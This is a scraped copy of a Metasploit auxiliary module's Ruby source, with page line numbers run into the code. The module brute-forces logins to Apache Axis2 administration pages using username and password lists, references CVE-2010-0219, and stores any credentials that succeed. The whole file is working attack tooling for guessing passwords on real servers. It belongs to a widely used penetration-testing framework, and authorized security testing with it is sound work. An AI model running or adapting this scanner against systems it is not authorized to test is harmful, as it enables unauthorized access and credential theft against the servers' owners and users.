Path: blob/master/modules/auxiliary/scanner/http/axis_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/login_scanner/axis2'6require 'metasploit/framework/credential_collection'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Report12include Msf::Auxiliary::Scanner1314def initialize15super(16'Name' => 'Apache Axis2 Brute Force Utility',17'Description' => %q{18This module attempts to login to an Apache Axis2 instance using19username and password combinations indicated by the USER_FILE,20PASS_FILE, and USERPASS_FILE options. It has been verified to21work on at least versions 1.4.1 and 1.6.2.22},23'Author' => [24'Leandro Oliveira <leandrofernando[at]gmail.com>'25],26'References' => [27[ 'CVE', '2010-0219' ],28[ 'OSVDB', '68662'],29],30'License' => MSF_LICENSE31)3233register_options([34Opt::RPORT(8080),35OptString.new('TARGETURI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']),36])37end3839# For print_* methods40def target_url41"http://#{vhost}:#{rport}#{datastore['URI']}"42end4344def run_host(ip)45uri = normalize_uri(target_uri.path)4647print_status("Verifying login exists at #{target_url}")48begin49send_request_cgi({50'method' => 'GET',51'uri' => uri52}, 20)53rescue => e54print_error("Failed to retrieve Axis2 login page at #{target_url}")55print_error("Error: #{e.class}: #{e}")56return57end5859print_status "#{target_url} - Apache Axis - Attempting authentication"6061cred_collection = build_credential_collection(62username: datastore['USERNAME'],63password: datastore['PASSWORD']64)6566scanner = Metasploit::Framework::LoginScanner::Axis2.new(67configure_http_login_scanner(68uri: uri,69cred_details: cred_collection,70stop_on_success: datastore['STOP_ON_SUCCESS'],71bruteforce_speed: datastore['BRUTEFORCE_SPEED'],72connection_timeout: 5,73http_username: datastore['HttpUsername'],74http_password: datastore['HttpPassword']75)76)7778scanner.scan! do |result|79credential_data = result.to_h80credential_data.merge!(81module_fullname: self.fullname,82workspace_id: myworkspace_id83)84case result.status85when Metasploit::Model::Login::Status::SUCCESSFUL86print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"87credential_core = create_credential(credential_data)88credential_data[:core] = credential_core89create_credential_login(credential_data)90:next_user91when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT92if datastore['VERBOSE']93print_brute :level => :verror, :ip => ip, :msg => "Could not connect"94end95invalidate_login(credential_data)96:abort97when Metasploit::Model::Login::Status::INCORRECT98if datastore['VERBOSE']99print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"100end101invalidate_login(credential_data)102end103end104end105106end107108109